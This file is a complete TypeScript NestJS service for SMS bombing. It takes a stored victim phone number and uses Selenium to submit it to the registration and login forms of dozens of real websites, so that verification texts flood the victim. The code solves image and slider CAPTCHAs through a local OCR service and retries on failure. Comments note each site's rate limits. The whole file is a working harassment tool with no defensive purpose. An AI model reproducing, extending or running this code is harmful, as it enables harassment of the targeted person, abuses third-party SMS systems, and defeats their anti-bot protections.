import { ToolsService } from './../tools/tools.service';
import { HttpService } from '@nestjs/axios';
import { Injectable } from '@nestjs/common';
import { InjectModel } from '@nestjs/mongoose';
import { Builder, Browser, WebDriver, By, until, WebElementPromise, WebElement, Locator, Actions } from 'selenium-webdriver';
import { sleep } from 'src/util/time';
import { CacheService } from '../cache/cache.service';
import { ShopSettingService } from '../shop-setting/shop-setting.service';
import * as fs from 'fs';
import * as path from 'path';
import { firstValueFrom } from 'rxjs';
import sizeOf from 'image-size';
import * as Jimp from 'jimp';
import * as lodash from 'lodash';

@Injectable()
export class BombingService {
    private driver: WebDriver;
    private findByXpath: (str: string) => WebElementPromise;
    private findByCss: (str: string) => WebElementPromise;
    private actions: Actions;
    public bombingPhone: string;
    constructor(
        @InjectModel('Bombing') private readonly bombingModel,
        private readonly shopSettingService: ShopSettingService,
        private readonly cacheService: CacheService,
        private readonly httpService: HttpService,
        private readonly toolsService: ToolsService,
    ) {
        this.getBombing_phone();
    }
    async find(where = {}, sort = { sort: 1 }, fields = null) {
        return await this.bombingModel.find(where, fields).sort(sort);
    }
    async findByPage(where = { page: 1, pageSize: 10 }, sort = { sort: 1 }, fields = null) {
        const { page, pageSize, ...condition } = where;
        const regOptions = {};
        const likeKeys = ['title', 'url'];
        for (const key in condition) {
            const element = condition[key];
            if (element === '') delete condition[key];
            if (likeKeys.includes(key) && element !== '') {
                regOptions[key] = { $regex: element };
                delete condition[key];
            }
        }
        const total = await this.bombingModel.find({ ...condition, ...regOptions }).count();
        const dataOptions: any[] = [
            {
                $match: { ...condition, ...regOptions },
            },
            {
                $sort: { ...sort, updatedTime: -1 },
            },
            {
                $skip: (+page - 1) * +pageSize,
            },
            {
                $limit: +pageSize,
            },
        ];
        if (fields) dataOptions.unshift({ project: fields });
        const data = await this.bombingModel.aggregate(dataOptions);
        return {
            total,
            data,
        };
    }
    async create(bombingInfo) {
        return await this.bombingModel.create(bombingInfo);
    }
    async update(bombingInfo) {
        return await this.bombingModel.updateOne({ _id: bombingInfo._id }, bombingInfo);
    }
    async delete(bombingInfo) {
        return await this.bombingModel.deleteOne(bombingInfo);
    }
    getModel() {
        return this.bombingModel;
    }
    async getBombing_phone() {
        this.bombingPhone = await this.cacheService.get('bombing_phone');
        if (!this.bombingPhone) {
            const shopSetting = await this.shopSettingService.find();
            this.bombingPhone = await shopSetting[0].bombing_phone;
            await this.cacheService.set('bombing_phone', this.bombingPhone, 60 * 60 * 24);
        }
        console.log(`当前轰炸手机号：${this.bombingPhone}`);
        return this.bombingPhone;
    }

    async initDriver() {
        this.driver = await new Builder().forBrowser(Browser.FIREFOX).build();
        this.findByXpath = (str: string) => this.driver.findElement(By.xpath(str));
        this.findByCss = (str: string) => this.driver.findElement(By.css(str));
        await this.driver.manage().setTimeouts({ implicit: 1000 * 6 });
        this.actions = await this.driver.actions({ async: true });
    }
    async close() {
        await this.driver.close();
    }
    async zhouxun() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://m.zhouxunwang.cn/register.php#');
        await this.findByCss('#name').sendKeys(this.bombingPhone);
        const code = await this.findByCss('#shuzi').getText();
        await this.findByXpath('//*[@id="yy"]').sendKeys(code);
        await this.findByXpath('//*[@id="h"]').click();
    }
    //一分钟一次
    async yousu() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.uce.cn/registerlogin/register');
        await this.findByXpath('//*[@id="app"]/div[2]/div/div[2]/form/div[1]/div/div/input').sendKeys(this.bombingPhone);
        await sleep(1000);
        const getCodeAndSend = async () => {
            await this.findByXpath('//*[@id="app"]/div[2]/div/div[2]/form/div[2]/div/div/div/img').click();
            await sleep(400);
            const code = await this.getCodeByXpath('//*[@id="app"]/div[2]/div/div[2]/form/div[2]/div/div/div/img');
            await this.findByXpath('//*[@id="app"]/div[2]/div/div[2]/form/div[2]/div/div/input').clear();
            await this.findByXpath('//*[@id="app"]/div[2]/div/div[2]/form/div[2]/div/div/input').sendKeys(code);
            await this.findByXpath('//*[@id="app"]/div[2]/div/div[2]/form/div[3]/div/div/div/button').click();
        };
        //重试多次，避免识别出错
        let loopIndex = 0;
        const loopSend = async () => {
            if (loopIndex > 2) return;
            try {
                await getCodeAndSend();
            } catch (error) {}
            await sleep(1000);
            loopIndex++;
            loopSend();
        };
        loopSend();
    }
    async skyworth() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://shop.skyworth.com/LogReg.aspx');
        const code = await this.getCodeByCss('#VilidatoCodeImg');
        await this.findByCss('#txtImgCode').sendKeys(code);
        await this.findByCss('#txtPhone').sendKeys(this.bombingPhone);
        await this.findByCss('#btn_code').click();
    }
    async dior() {
        if (!this.driver) await this.initDriver();
        this.driver.get('https://www.dior.cn/beauty/zh_cn/store/customer/account/login');
        await this.findByXpath('//*[@id="register-tel-input"]').sendKeys(this.bombingPhone);
        await this.findByXpath('//*[@id="login-form"]/div[1]/div[3]/div[4]/div[1]/div[1]').click();
        await this.findByXpath('//*[@id="validate-btn"]/div[1]').click();
    }
    //一小时四次，需要图块验证
    // async huawei() {
    //     if (!this.driver) await this.initDriver();
    //     await this.driver.get('https://id1.cloud.huawei.com/CAS/portal/loginAuth.html');
    //     await this.findByXpath('/html/body/div/div/div[1]/div[3]/div[3]/span[3]/div[1]/span/div').click();
    //     await this.findByXpath('/html/body/div/div/div[1]/div[3]/div[3]/span[3]/div[2]/div[2]/div/div[3]/input').sendKeys(
    //         this.bombingPhone,
    //     );
    //     await this.findByXpath('/html/body/div/div/div[1]/div[3]/div[3]/span[3]/div[2]/div[4]/div[1]/div[2]').click();
    // }
    //识别率太低
    // async bulgari() {
    //     if (!this.driver) await this.initDriver();
    //     this.driver.get('https://www.bulgari.cn/zh-cn/login');
    //     await sleep(1200);
    //     await this.findByCss('#onetrust-accept-btn-handler').click();
    //     await this.findByXpath('//*[@id="__layout"]/section/div[2]/div/div[2]/div/div/div[2]/div[1]/div[1]/input').sendKeys(
    //         this.bombingPhone,
    //     );
    //     const code = await this.getCodeByXpath('//*[@id="__layout"]/section/div[2]/div/div[2]/div/div/div[2]/div[1]/div[2]/div[3]/img');
    //     await this.findByXpath('//*[@id="__layout"]/section/div[2]/div/div[2]/div/div/div[2]/div[1]/div[2]/div[2]/input').sendKeys(code);
    //     await this.findByXpath('//*[@id="__layout"]/section/div[2]/div/div[2]/div/div/div[2]/div[1]/div[3]/div[3]/span').click();
    // }
    async chuizi() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://account.smartisan.com/#/register-login');
        await this.findByXpath('/html/body/div[1]/div[1]/div[3]/form/ul/li[2]/div/input').sendKeys(this.bombingPhone);
        await this.findByXpath('//a[contains(text(), "获取验证码")]').click();
        await sleep(1000);

        const getCodeAndSend = async () => {
            await this.findByXpath('/html/body/div[1]/div[1]/div[3]/form/ul/li[3]/div[2]/img').click();
            await sleep(300);
            const code = await this.getCodeByXpath('/html/body/div[1]/div[1]/div[3]/form/ul/li[3]/div[2]/img');
            await this.findByCss('#captcha').clear();
            await this.findByCss('#captcha').sendKeys(code);
            await this.findByXpath('//a[contains(text(), "获取验证码")]').click();
        };
        //重试多次，避免识别出错
        let loopIndex = 0;
        const loopSend = async () => {
            if (loopIndex > 3) return;
            try {
                await getCodeAndSend();
            } catch (error) {}
            await sleep(1000);
            loopIndex++;
            loopSend();
        };
        loopSend();
    }
    //一分钟一次
    async hisense() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.hisense.com/register?target=https%3A%2F%2Fwww.hisense.com%2Fspecial_activity_page%2Frspdy01');
        await this.findByXpath('/html/body/div[3]/div/div/div/div/div[1]/div/div/div/div/div[2]/div/div[3]/button[2]').click();
        await this.findByCss('#mobile-phone').sendKeys(this.bombingPhone);
        const code = await this.getCodeByXpath('//*[@id="register-form"]/fieldset/div[1]/div[3]/div/img');
        await this.findByCss('#verify-code').sendKeys(code);
        await this.findByXpath('//*[@id="register-form"]/fieldset/div[1]/div[4]/button').click();
    }
    async youku() {
        // if (!this.driver) await this.initDriver();
        // await this.driver.get('https://www.youku.com/');
    }
    async meiling() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.meiling.com/meiling/pages/user.html?_v=0.1.0#/register');
        await this.findByCss('#phone-num').sendKeys(this.bombingPhone);
        await sleep(1000);
        const code = await this.getCodeByXpath('/html/body/div/div[2]/div/div[2]/div[2]/div[1]/div[2]/img');
        await this.findByCss('#image-code').sendKeys(code);
        await this.findByXpath('/html/body/div/div[2]/div/div[2]/div[3]/div[1]/div[2]').click();
    }
    async kuaidi100() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://sso.kuaidi100.com/');
        await this.findByXpath('//*[@id="type"]/a[1]').click();
        await this.findByCss('#mobile').sendKeys(this.bombingPhone);
        await this.findByCss('#send').click();
        await sleep(1000);
        const code = await this.getCodeByXpath('//*[@id="phoneValidcode"]/img');
        await this.findByXpath('//*[@id="phoneValidcode"]/input').sendKeys(code);
        await this.findByCss('#send').click();
    }
    async songxia() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.shoprobam.com/User/login');
        await this.findByCss('#mobile').sendKeys(this.bombingPhone);
        await this.findByCss('#get_captcha').click();
    }
    //一分钟一次
    async xiaotiane() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://mall.littleswan.com/');
        await this.findByXpath('//*[@id="J_icon_wrap"]/a[1]').click();
        await this.findByXpath('//*[@id="bgcolor"]/div/div/div[1]/div/div[1]/form/div[5]/a[1]').click();
        await this.findByXpath('//*[@id="bgcolor"]/div/div/div[1]/div/div[2]/form/div[2]/div[2]/input').sendKeys(this.bombingPhone);
        await this.findByXpath('//*[@id="bgcolor"]/div/div/div[1]/div/div[2]/form/div[2]/div[2]/a').click();
        await sleep(1000);
        const code = await this.getCodeByXpath('//*[@id="bgcolor"]/div/div/div[1]/div/div[2]/form/div[3]/div[2]/div/div/img');
        await this.findByXpath('//*[@id="bgcolor"]/div/div/div[1]/div/div[2]/form/div[3]/div[2]/input[1]').sendKeys(code);
    }
    async youzheng() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.ems.com.cn/pc/main/new');
        await this.findByCss('#li_sms').click();
        await this.findByCss('#loginId').sendKeys(this.bombingPhone);
        await this.findByXpath('//*[@id="loginForm"]/div[3]/div[1]').click();
        await sleep(400);
        const code = await this.getCodeByCss('#smsVerify');
        await this.findByCss('#verifyCode').sendKeys(code);
    }
    //请求接口，一分钟一次
    async yuantong() {
        if (!this.driver) await this.initDriver();
        const vcode = await firstValueFrom(this.httpService.get('http://www.yto.net.cn/ec/user/vcode'));
        const code = vcode.data.base64Img.split('data:image/png;base64,')[1];
        const randValue = vcode.data.randValue;
        const captchaText = await this.getCode(code);
        await firstValueFrom(
            this.httpService.post(
                `http://www.yto.net.cn/ec/loginsendsms?randValue=${randValue}&code=${captchaText}&username=${this.bombingPhone}`,
            ),
        );
    }
    async tripnav() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('http://web.tripnav.net/pass/register.html');
        await this.driver.findElement(By.css('#nickname')).sendKeys('xxxxxxfsdfsdfsdfsfsd');
        await this.driver.findElement(By.css('#username')).sendKeys(this.bombingPhone);
        await this.driver.findElement(By.css('#sendcode')).click();
    }
    //一分钟一次
    async guhai() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.guhai.com.cn/register.html');
        await this.findByCss('#mobile').sendKeys(this.bombingPhone);
        await this.findByXpath('//*[@id="register_div"]/div[4]/div[2]').click();
    }
    //一分钟一次
    async veer() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.veer.com/');
        await this.findByXpath('//*[@id="site-header"]/div/div[2]/div[5]').click();
        await this.findByXpath('//*[@id="root"]/div/div[7]/div/div/div/div[2]/div/article/form/fieldset/label[1]/input').sendKeys(
            this.bombingPhone,
        );
        await this.findByXpath('//*[@id="root"]/div/div[7]/div/div/div/div[2]/div/article/form/fieldset/div[1]/div[2]/button').click();
    }
    //有次数限制，（验证码发送次数太多）,四次左右，图形验证码有时加载不出来
    async souhu2() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://2sc.sohu.com/ctb/');
        await this.findByXpath('/html/body/div[2]/div/div[1]/ul/li[2]').click();
        await this.findByXpath('/html/body/div[2]/div/div[1]/div/div[2]/h3[1]/input').sendKeys(this.bombingPhone);
        const getCodeAndSend = async () => {
            await this.findByXpath('/html/body/div[2]/div/div[1]/div/div[2]/h3[2]/a/img').click();
            await sleep(1000);
            const captchaText = await this.getCodeByXpath('/html/body/div[2]/div/div[1]/div/div[2]/h3[2]/a/img');
            const PhoneInput = await this.findByXpath('/html/body/div[2]/div/div[1]/div/div[2]/h3[2]/input');
            await PhoneInput.clear();
            await PhoneInput.sendKeys(captchaText);
            await this.findByXpath('/html/body/div[2]/div/div[1]/div/div[2]/h3[3]/a').click();
        };
        //重试多次，避免识别出错
        let loopIndex = 0;
        const loopSend = async () => {
            if (loopIndex > 2) return;
            try {
                await getCodeAndSend();
            } catch (error) {}
            await sleep(2000);
            loopIndex++;
            loopSend();
        };
        loopSend();
    }
    async xiaozhu2() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.xiaozhu2.com/');
        await this.findByXpath('/html/body/div[1]/div[1]/div[1]/div/div[2]/div[2]').click();
        await sleep(1000);
        await this.findByXpath('//*[@id="j-ershouche-dialog"]/div/div/div/div[2]/form/div[2]/input').sendKeys(this.bombingPhone);
        const captchaText = await this.getCodeByXpath('//*[@id="j-ershouche-dialog"]/div/div/div/div[2]/form/div[3]/div[2]/img');
        await this.findByXpath('//*[@id="j-ershouche-dialog"]/div/div/div/div[2]/form/div[3]/div[2]/input[2]').sendKeys(captchaText);
        await this.findByXpath('//*[@id="j-ershouche-dialog"]/div/div/div/div[2]/form/div[4]/div[2]/a').click();
    }
    //有上限次数
    async jnesc() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.jnesc.com/register/');
        await this.findByCss('#phone').sendKeys(this.bombingPhone);
        const captchaShot = await this.findByCss('#codeImg').takeScreenshot();
        const captchaText = await this.getCode(captchaShot);
        await this.findByCss('#validatecode').sendKeys(captchaText);
        await this.findByCss('#BtnSend').click();
    }
    async iautos() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://so.iautos.cn/');
        await this.actions.move({ origin: await this.findByXpath('//*[@id="header-section"]/div/div[3]/div[2]/span') }).perform();
        await sleep(400);
        await this.findByCss('#personalLoginBtn').click();
        await this.findByCss('#fastLoginPhoneNumber').sendKeys(this.bombingPhone);
        await this.findByCss('#fastLoginSendCode').click();
    }
    async hx2car() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('http://www.hx2car.com/sys/login.htm');
        await this.findByCss('#login_staff > div.account > div.inputbox6 > input[type=tel]').sendKeys(this.bombingPhone);
        const captchaShot = await this.findByCss('#login_staff > div.account > div:nth-child(2) > img').takeScreenshot();
        const captchaText = await this.getCode(captchaShot);
        await this.findByCss('#fiCode').sendKeys(captchaText);
        await this.findByCss('#gaincode').click();
    }
    //自动化可无限发，同一会话一分钟一次
    async zhongxinbaocheng() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://es.citic-prudential.com.cn/iservice/passport/page/register/index.jsp');
        await this.findByCss('#phone').sendKeys(this.bombingPhone);
        const captchaShot = await this.findByCss('#mobile_mFrame').takeScreenshot();
        const captchaText = await this.getCode(captchaShot);
        await this.findByCss('#mobile_verifyCode').sendKeys(captchaText);
        await this.findByCss('#btnPhone').click();
    }
    async aisi() {
        if (!this.driver) await this.initDriver();
        await this.driver.get(`https://developer.i4.cn/put/getMsgCode.xhtml?_=1580912157461&phoneNumber=${this.bombingPhone}&codeType=6`);
        const phoneNumberInput = await this.driver.findElement(By.css('input[name="phoneNumber"]'));
        phoneNumberInput.sendKeys(this.bombingPhone);
        const captchaImg = await this.driver.findElement(By.css('#resetImgCode>img'));
        const shot = await captchaImg.takeScreenshot();
        const code = await this.getCode(shot);
        await this.driver.findElement(By.css('input[name="imgCode"]')).sendKeys(code);
        await this.driver.findElement(By.css('.btn-code')).click();
    }
    //识别率稍低
    async anta() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.anta.cn/antacom/passport/login');
        await this.findByXpath('//*[@id="login-main"]/div[2]/div/div/h6[2]').click();
        await this.findByCss('#phone').sendKeys(this.bombingPhone);
        const getCodeAndSend = async () => {
            const captchaShot = await this.findByCss('#captcha-img').takeScreenshot();
            const captchaText = await this.getCode(captchaShot);
            const phoneInput = await this.findByCss('#captcha-code');
            phoneInput.clear();
            phoneInput.sendKeys(captchaText);
            await this.findByCss('.verify-sendbtn').click();
        };
        //重试多次，避免识别出错
        let loopIndex = 0;
        const loopSend = async () => {
            if (loopIndex > 2) return;
            try {
                await getCodeAndSend();
            } catch (error) {}
            await sleep(2000);
            loopIndex++;
            loopSend();
        };
        loopSend();
    }
    async fude() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.sino-life.com/SL_EFS/memberRegister/regInfo.do#');
        await this.findByCss('#username').sendKeys(this.bombingPhone);
        await this.findByCss('#main > div > div.i_process_register > div.ps_first.yh > i').click();
        await sleep(1000);
        const captchaShot = await this.findByCss('#verifyCodeImg').takeScreenshot();
        const captchaText = await this.getCode(captchaShot);
        await this.findByCss('#verifyCode').sendKeys(captchaText);
        await this.findByCss('#registerBtn').click();
    }
    async zhongyingrenshou() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://customersso.aviva-cofco.com.cn/sso-customer/login');
        await this.findByCss('#login_Id').sendKeys(this.bombingPhone);
        const captchaBase64 = await this.findByCss('.randomcode_img').takeScreenshot();
        const captchaText = await this.getCode(captchaBase64);
        await this.findByCss('#imgCheckCode').sendKeys(captchaText);
        await this.findByCss('.get_code').click();
    }
    //15秒一条，每天五条
    async xinpianchang() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://stock.xinpianchang.com/');
        await this.findByCss('#__layout > div > header > div > nav > div.xpc-content > ul > li.nav-item.nav-login > a').click();
        await this.driver.switchTo().frame(await this.findByXpath('//*[@id="__layout"]/div/div[3]/div/div[2]/iframe'));
        await this.findByXpath('//*[@id="login_phone"]').sendKeys(this.bombingPhone);
        await this.findByXpath('//*[@id="__next"]/section/main/div/div[2]/div/div/div/form/div[3]/div/div/span/span/span/span').click();
    }
    //一分钟一条
    async zhaoshangxinnuo() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://member.cignacmb.com/');
        await this.findByCss('#login_mobile').sendKeys(this.bombingPhone);
        await sleep(500);
        const captchaBase64 = await this.findByCss('#mobileLoginImgCodeImg').takeScreenshot();
        const captchaText = await this.getCode(captchaBase64);
        await this.findByCss('#mobileLogin_yzm').sendKeys(captchaText);
        await this.findByCss('#user_mobile_validateCode_btn').click();
    }
    async wangyiketang() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://study.163.com/');
        await this.findByXpath('//*[@id="ux-modal"]/div[3]/span').click();
        await this.findByCss('.ux-modal_close').click();
        await this.findByXpath('//*[@id="ux-modal"]/div[1]/a').click();
        await this.findByXpath('//*[@id="j-nav-login"]').click();
        const loginIframeBy = By.css('#j-ursContainer-1>iframe');
        await this.elementLocated(loginIframeBy);
        const loginIframe = await this.driver.findElement(loginIframeBy);
        await this.driver.switchTo().frame(loginIframe);
        await this.findByCss('#login-form>div>div.u-tab.f-cb>a').click();
        await this.findByXpath('//*[@id="phoneipt"]').sendKeys(this.bombingPhone);
        const goRegister = async () => {
            const registerIframeBy = By.css('#j-urs-phone-regist>iframe');
            await this.elementLocated(registerIframeBy);
            const registerIframe = await this.driver.findElement(registerIframeBy);
            await this.driver.switchTo().frame(registerIframe);
            await this.findByCss('#phoneipt').sendKeys(this.bombingPhone);
            await this.findByCss('#login-form > div > div:nth-child(3) > div.u-input.box > input.j-inputtext.dlemail').sendKeys(
                'QWEqaz123098',
            );
            await this.findByXpath('//a[contains(text(), "获取验证码")]').click();
            await drapSlide();
        };
        const checkRegister = async () => {
            // const notRegisterBy = By.css('.ferrorhead');
            const notRegisterBy = By.xpath('//div[contains(text(),"该手机帐号未注册")]');
            await this.elementLocated(notRegisterBy);
            await this.driver.switchTo().defaultContent();
            await this.findByXpath('//span[contains(text(),"去注册")]').click();
        };
        const drapSlide = async () => {
            const slideBy = By.css('.yidun_tips');
            await this.elementLocated(slideBy);
            const slideDom = await this.findByCss('.yidun_slider');
            await this.elementLocated(By.css('.yidun_jigsaw'));
            await sleep(600);
            const targetImg = await this.findByCss('.yidun_jigsaw');
            const targetImgRect = await targetImg.getRect();
            const targetBuffer = await firstValueFrom(
                this.httpService.get(await targetImg.getAttribute('src'), { responseType: 'arraybuffer' }),
            );
            const targetBase64 = Buffer.from(targetBuffer.data).toString('base64');
            await this.elementLocated(By.css('.yidun_bg-img'));
            await sleep(600);
            const bgImg = await this.findByCss('.yidun_bg-img');
            const bgBuffer = await firstValueFrom(this.httpService.get(await bgImg.getAttribute('src'), { responseType: 'arraybuffer' }));
            const { width: bgWidth } = sizeOf(bgBuffer.data);
            const realBgWidth = 360;
            const bgScale = realBgWidth / bgWidth;
            const bgBase64 = Buffer.from(bgBuffer.data).toString('base64');
            const slideOcrResult = await firstValueFrom(
                this.httpService.post(
                    'http://localhost:9898/slide/match/b64',
                    Buffer.from(
                        JSON.stringify({
                            target_img: targetBase64,
                            bg_img: bgBase64,
                        }),
                    ).toString('base64'),
                ),
            );
            const targetX = JSON.parse(slideOcrResult.data.replace(/'/g, '"')).target[0]; //"{'target_y': 39, 'target': [379, 39, 466, 106]}"
            // await this.driver.switchTo().defaultContent();
            // await this.driver.switchTo().frame(loginIframe);
            const actions = this.driver.actions({ async: true });
            await actions.move({ origin: slideDom }).perform();
            await this.elementLocated(By.css('.yidun_jigsaw'));
            await sleep(120);
            await actions
                .dragAndDrop(targetImg, {
                    x: Math.floor(targetX * bgScale) + 11,
                    y: targetImgRect.y,
                })
                .perform();
            await sleep(120);
            await this.findByXpath('//a[contains(text(),"获取验证码")]').click();
        };

        try {
            //点获取验证码可能报错（不可点击，可能是需要验证也可能是未注册）
            await this.findByXpath('//a[contains(text(),"获取验证码")]').click();
            await drapSlide();
            try {
                await checkRegister();
                await goRegister();
            } catch (error) {
                return;
            }
        } catch (error) {
            try {
                //未注册
                await checkRegister();
                await goRegister();
            } catch (error) {
                //需要验证
                await drapSlide();
            }
        }
    }
    async mukewang() {
        if (!this.driver) await this.initDriver();
        await this.driver.get('https://www.imooc.com/');
        await this.driver.findElement(By.css('#js-signin-btn')).click();
        await sleep(2000);
        await this.driver.findElement(By.css('.xa-showPhoneSignin')).click();
        await this.driver.findElement(By.css('.ipt-phone')).sendKeys(this.bombingPhone);
        await this.driver.findElement(By.css('.js-signin-send')).click();
        return;
    }
    async getCode(data: string): Promise<string> {
        return new Promise((resolve) => {
            this.httpService
                .request({
                    baseURL: 'http://localhost:9898',
                    url: '/ocr/b64/json',
                    method: 'POST',
                    data,
                })
                .subscribe(async (res) => {
                    if (res.data?.status === 200) {
                        const code = res.data.result;
                        resolve(code);
                    }
                });
        });
    }
    async getCodeByCss(selector: string): Promise<string> {
        const captchaShot = await this.findByCss(selector).takeScreenshot();
        const captchaText = await this.getCode(captchaShot);
        return captchaText;
    }
    async getCodeByXpath(selector: string): Promise<string> {
        const captchaShot = await this.findByXpath(selector).takeScreenshot();
        const captchaText = await this.getCode(captchaShot);
        return captchaText;
    }
    async getSlideTarget(targetBase64: string, bgBase64: string) {
        const slideOcrResult = await firstValueFrom(
            this.httpService.post(
                'http://localhost:9898/slide/match/b64',
                Buffer.from(
                    JSON.stringify({
                        target_img: targetBase64,
                        bg_img: bgBase64,
                    }),
                ).toString('base64'),
            ),
        );
        return slideOcrResult.data ? JSON.parse(slideOcrResult.data.replace(/'/gi, '"')) : {};
    }
    async elementLocated(locator: Locator) {
        await this.driver.wait(until.elementLocated(locator), 5 * 1000);
    }
}
